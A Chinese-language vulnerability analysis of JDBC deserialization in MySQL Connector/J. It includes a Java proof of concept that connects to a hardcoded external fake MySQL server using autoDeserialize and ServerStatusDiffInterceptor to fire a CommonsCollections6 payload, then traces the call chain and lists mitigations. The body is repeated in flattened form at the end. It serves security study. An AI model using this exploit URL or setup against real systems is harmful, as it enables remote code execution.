Java安全-JDBC反序列化
字数 1769 2025-08-25 22:59:10

JDBC反序列化漏洞分析与利用

1. JDBC基础概念

JDBC (Java DataBase Connectivity) 是Java执行SQL语句的API,为多种关系数据库提供统一访问接口,由一组Java类和接口组成,是Java访问数据库的标准规范。

基本连接格式:

jdbc:mysql://127.0.0.1:3306/db?user=root&pass=root

2. 漏洞复现

2.1 环境准备

依赖项

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.12</version>
    </dependency>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

漏洞利用代码

import java.sql.*;

public class JdbcTest {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.cj.jdbc.Driver");
        String user = "yso_CommonsCollections6_calc";
        String jdbc_url = "jdbc:mysql://116.62.63.234:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=" + user;
        Connection conn = DriverManager.getConnection(jdbc_url);
        conn.close();
    }
}

2.2 恶意服务器搭建

使用MySQL_Fake_Server搭建恶意服务器,需要修改config.json中的yso地址。

触发效果:连接后会触发CC6利用链的反序列化,通常会弹出4个计算器(触发4次反序列化)。

3. 漏洞分析

3.1 连接流程

  1. 入口点DriverManager.getConnection()
  2. 使用com.mysql.cj.jdbc.Driver进行连接
  3. 构建ConnectionUrl对象

3.2 URL解析

使用com.mysql.cj.conf.ConnectionUrlParser分割URL为:

  • scheme → jdbc:mysql:(数据库连接类型)
  • authority → host:port
  • path → 数据库
  • query → 查询语句(带入的参数)

3.3 关键对象创建

  1. ConnectionImpl.getInstance()

    • 以ConnectionUrl对象的hosts属性为参数创建ConnectionImpl对象
    • 构造方法中将hosts属性分割并写入propertySet属性
    • 根据URL参数覆盖PropertyDefinition中的默认值
  2. NativeSession对象

    • 创建this.session为NativeSession对象
    • 创建到服务器的IO通道

3.4 关键触发点

  1. initializePropsFromServer()handleAutoCommitDefaults()setAutoCommit()

    • 执行SQL语句
    • 调用NativeProtocol.sendQueryString()
    • 调用sendQueryPacket()
    • 如果queryInterceptors不为null,调用invokeQueryInterceptorsPre()
    • 触发拦截器的preProcess()方法
    • 执行SHOW SESSION STATUS查询
    • 结果返回给ResultSetUtil.resultSetToMap()
    • autoDeserialize=true时进入反序列化
  2. preProcess结束后

    • 触发拦截器的postProcess方法(第二次触发)
  3. setupServerForTruncationChecks()

    • 再次执行execSQL(第三、四次触发)

4. 关键漏洞条件

4.1 必要条件

  1. queryInterceptors参数

    • NativeProtocol对象的queryInterceptors属性不为null
    • ConnectionImpl对象初始化NativeSession对象时调用initializeSafeQueryInterceptors()
    • 需要jdbc连接的queryInterceptors值来加载类
    • 必须指定拦截器的类名(如com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
  2. autoDeserialize参数

    • ResultSetImpl对象需要有jdbc连接的autoDeserialize属性为true
    • 才会进入反序列化流程

4.2 典型利用URL格式

jdbc:mysql://host:port/db?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5. 其他利用方式

  1. 任意写Gadgets利用

    • 编写readObject后门
    • 在jdbc连接时发送此后门的序列化数据
  2. 自定义恶意拦截器

    • 编写恶意拦截器,重写preProcess方法
    • 在URL中指定其全类名

6. 防御措施

  1. 升级MySQL Connector/J到最新版本
  2. 避免使用不受信任的JDBC连接字符串
  3. 限制应用程序的网络连接能力
  4. 使用安全的反序列化策略

7. 参考资源

JDBC反序列化漏洞分析与利用 1. JDBC基础概念 JDBC (Java DataBase Connectivity) 是Java执行SQL语句的API,为多种关系数据库提供统一访问接口,由一组Java类和接口组成,是Java访问数据库的标准规范。 基本连接格式: 2. 漏洞复现 2.1 环境准备 依赖项 : 漏洞利用代码 : 2.2 恶意服务器搭建 使用MySQL_ Fake_ Server搭建恶意服务器,需要修改config.json中的yso地址。 触发效果 :连接后会触发CC6利用链的反序列化,通常会弹出4个计算器(触发4次反序列化)。 3. 漏洞分析 3.1 连接流程 入口点 : DriverManager.getConnection() 使用 : com.mysql.cj.jdbc.Driver 进行连接 构建 : ConnectionUrl 对象 3.2 URL解析 使用 com.mysql.cj.conf.ConnectionUrlParser 分割URL为: scheme → jdbc:mysql:(数据库连接类型) authority → host:port path → 数据库 query → 查询语句(带入的参数) 3.3 关键对象创建 ConnectionImpl.getInstance() : 以ConnectionUrl对象的hosts属性为参数创建ConnectionImpl对象 构造方法中将hosts属性分割并写入propertySet属性 根据URL参数覆盖PropertyDefinition中的默认值 NativeSession对象 : 创建this.session为NativeSession对象 创建到服务器的IO通道 3.4 关键触发点 initializePropsFromServer() → handleAutoCommitDefaults() → setAutoCommit() 执行SQL语句 调用 NativeProtocol.sendQueryString() 调用 sendQueryPacket() 如果queryInterceptors不为null,调用 invokeQueryInterceptorsPre() 触发拦截器的 preProcess() 方法 执行 SHOW SESSION STATUS 查询 结果返回给 ResultSetUtil.resultSetToMap() 当 autoDeserialize=true 时进入反序列化 preProcess结束后 : 触发拦截器的 postProcess 方法(第二次触发) setupServerForTruncationChecks() : 再次执行 execSQL (第三、四次触发) 4. 关键漏洞条件 4.1 必要条件 queryInterceptors参数 : NativeProtocol对象的queryInterceptors属性不为null ConnectionImpl对象初始化NativeSession对象时调用 initializeSafeQueryInterceptors() 需要jdbc连接的queryInterceptors值来加载类 必须指定拦截器的类名(如 com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor ) autoDeserialize参数 : ResultSetImpl对象需要有jdbc连接的autoDeserialize属性为true 才会进入反序列化流程 4.2 典型利用URL格式 5. 其他利用方式 任意写Gadgets利用 : 编写readObject后门 在jdbc连接时发送此后门的序列化数据 自定义恶意拦截器 : 编写恶意拦截器,重写preProcess方法 在URL中指定其全类名 6. 防御措施 升级MySQL Connector/J到最新版本 避免使用不受信任的JDBC连接字符串 限制应用程序的网络连接能力 使用安全的反序列化策略 7. 参考资源 Servlet中的时间竞争以及AsjpectJWeaver反序列化Gadget构造